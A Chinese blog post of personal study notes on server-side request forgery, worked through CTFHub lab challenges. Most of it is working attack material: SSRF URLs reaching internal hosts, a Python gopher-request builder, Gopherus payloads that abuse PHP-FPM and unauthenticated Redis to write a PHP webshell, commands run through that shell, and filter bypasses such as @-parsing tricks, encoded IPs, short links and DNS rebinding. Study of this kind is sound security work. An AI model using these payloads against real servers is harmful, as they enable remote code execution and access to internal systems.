SSRF学习

Sl0th Lv4

SSRF学习

0x01 ssrf基础

SSRF(Server-Side Request Forgery:服务器端请求伪造)

成因:服务器没有对目标地址做过滤与限制

形成环节:安全的网站应接收请求后,检测请求的合法性

攻击目标:从外网无法访问的内部系统,内网

0x02 ctfhub内技能树

内网访问

直接利用http协议访问

1
?url=http://127.0.0.1/flag.php

如果有对内网IP进行检测,可以用地址解析绕过

curl()函数解析的是第一个@后面的网址,而parse_url()函数解析的是第二个@后面的网址。

url_parse会解析成baidu.com

而curl会请求127.0.0.1

高版本中的PHP中修复了但是可以加端口号绕过

因此我们可以利用该特性构造payload

1
http://abc@127.0.0.1:80@example.com/flag.php 

在check_inner_ip函数内认为hostname是example.com,但curl请求127.0.0.1:80/flag.php,成功获取flag

伪协议读取文件

PHP支持的伪协议

1
2
3
4
5
6
7
8
9
10
file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s)
URLsphp:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2rar:// — RARogg:// — 音频流expect:// — 处理交互式的流
php://filter:filter过滤流
1
?url=file:///var/www/html/flag.php

端口扫描

在SSRF中,dict协议与http协议可以用来探测内网主机存活与端口开放情况。

1
?url=dict://127.0.0.1:8000

用burp,在intruder中,将端口设置为变量。使用Simple List扫描常用端口,或者使用NumerList进行枚举。当发现长度不同的数据包时,再用http协议进一步探测。

1
?url=http://127.0.0.1:8987

前置知识:Gopher协议的利用

什么是gopher协议

gopher协议是一种信息查找系统,他将Internet上的文件组织成某种索引,方便用户从Internet的一处带到另一处。在WWW出现之前,GopherInternet上最主要的信息检索工具,Gopher站点也是最主要的站点,使用tcp 70端口。利用此协议可以攻击内网的 Redis、Mysql、FastCGI、Ftp等等,也可以发送 GET、POST 请求。这拓宽了 SSRF 的攻击面。

1
gopher 协议的格式:gopher://IP:port/_TCP/IP数据流

gopher协议发送http get请求

构造HTTP数据包

URL编码、替换回车换行为%0d%0aHTTP包最后加%0d%0a代表消息结束

发送gopher协议, 协议后的IP一定要接端口

发送http post请求

POSTGET传参的区别:它有4个参数为必要参数

需要传递Content-Type,Content-Length,host,post的参数

发送POST请求

利用gopher协议构造POST请求

urllib.parse用于解析URL

urllib.parse.quote()对URL中的特殊字符进行编码

replace()替换字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import urllib.parse
payload =\
"""POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key=c384d200658f258e5b5c681bf0aa29a8
"""

# 注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result) # 这里因为是GET请求使用gopher协议,所以要进行两次url编码

注意:上面那四个参数是POST请求必须的,即POST、Host、Content-Type和Content-Length。如果少了会报错的,而GET则不用。

注意Content-Length应为POST数据内容的长度,这里为36(即字符串“key=c384d200658f258e5b5c681bf0aa29a8”的长度)。

因为urllib.parse.quote()会将换行编码为%0A,而在gopher协议中,进行URL编码,会将回车换行编码为%0d%0a,所以,第二步使用replace()%0A替换为%0D%0A。接下来,拼接上gopher协议的标准格式,最后再使用一次urllib.parse.quote()对新增的部分进行URL编码。因为新增的部分不是POST数据包的内容,所以也就不存在回车换行,也就不需要将%0A替换为%0D%0A

标准gopher协议的格式如下:

1
gopher%3A//127.0.0.1%3A80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253Da68a3b03e80ce7fef96007dfa01dc077%250D%250A

提交文件

首先抓取一个正常提交文件的数据包,然后使用上述脚本将其转换为gopher协议的格式。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import urllib.parse
payload =\
"""POST /flag.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------256165401027520231274027094134
Content-Length: 357
Origin: http://challenge-0a06816bc1b6ad0c.sandbox.ctfhub.com:10800
Connection: close
Referer: http://challenge-0a06816bc1b6ad0c.sandbox.ctfhub.com:10800/?url=http://127.0.0.1/flag.php
Upgrade-Insecure-Requests: 1

-----------------------------256165401027520231274027094134
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: text/php

<?php phpinfo();?>
-----------------------------256165401027520231274027094134
Content-Disposition: form-data; name="submit"

提交查询
-----------------------------256165401027520231274027094134--

"""
#注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result)

攻击FastCGI协议

使用 Gopherus 工具生成攻击FastCGI的payload

利用条件:

  • libcurl版本>=7.45.0
  • PHP-FPM监听端口
  • PHP-FPM版本 >= 5.3.3
  • 知道服务器上任意一个php文件的绝对路径
1
2
3
python2 gopherus.py --exploit fastcgi
/var/www/html/index.php # 这里输入的是一个已知存在的php文件
echo PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4 | base64 -d > /var/www/html/shell.php

image-20220424005333748
image-20220424005333748

1
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH134%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%86%04%00%3C%3Fphp%20system%28%27echo%20PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4%20%7C%20base64%20-d%20%3E%20/var/www/html/shell.php%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00

需要将生成的payload再进行一次url编码

因为GET会进行一次解码,curl也会进行一次解码

1
gopher%3A%2F%2F127.0.0.1%3A9000%2F_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%2505%2505%2500%250F%2510SERVER_SOFTWAREgo%2520%2F%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP%2F1.1%250E%2503CONTENT_LENGTH134%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A%2F%2Finput%250F%2517SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Findex.php%250D%2501DOCUMENT_ROOT%2F%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%2586%2504%2500%253C%253Fphp%2520system%2528%2527echo%2520PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4%2520%257C%2520base64%2520-d%2520%253E%2520%2Fvar%2Fwww%2Fhtml%2Fshell.php%2527%2529%253Bdie%2528%2527

攻击Redis协议

Redis系列漏洞总结

主要利用redis未授权访问,如:写ssh-keygen公钥登录,利用计划任务反弹shell,直接写webshell等,主从复制getshell。

端口扫描到redis运行的端口,报错⬇️

1
-ERR Syntax error, try CLIENT (LIST | KILL | GETNAME | SETNAME | PAUSE | REPLY) +OK

利用Gopherus工具生成payload

image-20220424155918789
image-20220424155918789

再经过一次url编码

1
gopher%3A//127.0.0.1%3A6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252434%250D%250A%250A%250A%253C%253Fphp%2520system%2528%2524_GET%255B%2527cmd%2527%255D%2529%253B%2520%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

传入后虽然显示504,但已经成功传入,直接访问网站下shell.php,虽然有乱码,但可以通过shell.php?cmd=来执行系统命令,用+绕过空格,默认产生的shell是使用<?php system($_GET['cmd']); ?>

1
2
http://challenge-c64563873ed3afbf.sandbox.ctfhub.com:10800/shell.php?cmd=ls+/
http://challenge-c64563873ed3afbf.sandbox.ctfhub.com:10800/shell.php?cmd=cat+/flag_a60ba40eae368b2c15d0a8e4a3a13dfd

URL Bypass

@绕过

1
http://题目要求包含的网址@实际想访问的网址

payload

1
?url=http://notfound.ctfhub.com@127.0.0.1/flag.php

数字IP Bypass

进制转换脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$ip = '127.0.0.1';
$ip = explode('.',$ip);
$r = ($ip[0] << 24) | ($ip[1] << 16) | ($ip[2] << 8) | $ip[3] ;
if($r < 0) {
$r += 4294967296;
}
echo "十进制:";
echo $r;
echo "八进制:";
echo decoct($r);
echo "十六进制:";
echo dechex($r);
?>

利用其他各种指向127.0.0.1的地址

1
2
3
4
http://localhost/
http://0/
http://[0:0:0:0:0:ffff:127.0.0.1]/
http://①②⑦.⓪.⓪.①
1
2
3
4
5
6
7
8
9
10
Enclosed alphanumerics
List:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳
⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇
⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛
⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵
Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ
ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ
⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴
⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿

302跳转 Bypass

访问http://xip.io的子域名,例如http://192.168.0.1.xip.io,会自动重定向到http://192.168.0.1

上述方法包含了192.168.0.1内网IP地址,可能会被正则表达式过滤掉。可以通过短地址方式来绕过。TINYURL

1
2
?url=http://0.xip.io/flag.php
?url=http://localhost.xip.io/flag.php

127.0.0.1被过滤了。可以将127.0.0.1用0localhost等代替

这题用短链接成功过

使用TINYURL ,在Your Long URL处输入http://127.0.0.1/flag.php,生成短网址

1
?url=https://tinyurl.com/2p8s2csr

DNS重绑定Bypass

SSRF漏洞中绕过IP限制的几种方法总结

浅谈DNS重绑定漏洞

[基于DNS重绑定的绕过](https://github.com/incredibleindishell/SSRF_Vulnerable_Lab/tree/master/DNS Rebinding based Bypass)

DNS Rebinding(be like一些替身梗)

在网页浏览过程中,用户在地址栏中输入包含域名的网址。浏览器通过DNS服务器将域名解析为IP地址,然后向对应的IP地址请求资源,最后展现给用户。而对于域名所有者,他可以设置域名所对应的IP地址。当用户第一次访问,解析域名获取一个IP地址(事先设置为白名单中的IP地址);然后,域名持有者修改对应的IP地址(比如内网127.0.0.1);用户再次请求该域名,就会获取一个新的IP地址。对于浏览器来说,整个过程访问的都是同一域名,所以认为是安全的(同源策略)。这就造成了DNS Rebinding攻击。

同源策略:如果两个页面的协议,端口(如果有指定)和域名都相同,则两个页面具有相同的源

实现攻击的两种方法:

攻击者将子域绑定到两个不同的IP。

攻击者设置一个DNS服务器,TTL很短。该DNS服务器返回的指定域名的解析结果,在两个IP之间不断切换。

网站设置DNS:https://lock.cmpxchg8b.com/rebinder.html

这个网站会随机指向两个绑定地址的其中一个

Payload:

1
?url=7f000001.c0a80001.rbndr.us/flag.php

DNS记录的生存时间(TTL)

DNS服务器如果将TTL设置为0,Web服务器就不会对指定域名解析的IP进行缓存。

此特性将有助于绕过代码中的安全检查。应用程序具有两个不同的代码部分:

第一部分代码用于检查域/该域解析的IP是否在黑名单中。如果在黑名单中,则应用程序将停止进一步处理。

一旦IP/域通过了安全检查,第二部分代码会从指定URL中获取内容。

这样,Web服务器对域名进行黑名单检查时,会向DNS服务发起第一次请求,DNS服务器返回一个合法的IP地址,绕过了黑名单检测。因为DNS服务器的TTL设置为0,Web服务器使用get_contents()加载指定URL的文件内容时,会再次向DNS服务器请求解析该域名,而这次DNS服务器会返回一个内网地址,从而成功的读取内网文件。

  • 标题: SSRF学习
  • 作者: Sl0th
  • 创建于 : 2022-04-01 23:53:36
  • 更新于 : 2024-07-03 23:54:25
  • 链接: http://sl0th.top/2022/04/01/SSRF学习/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论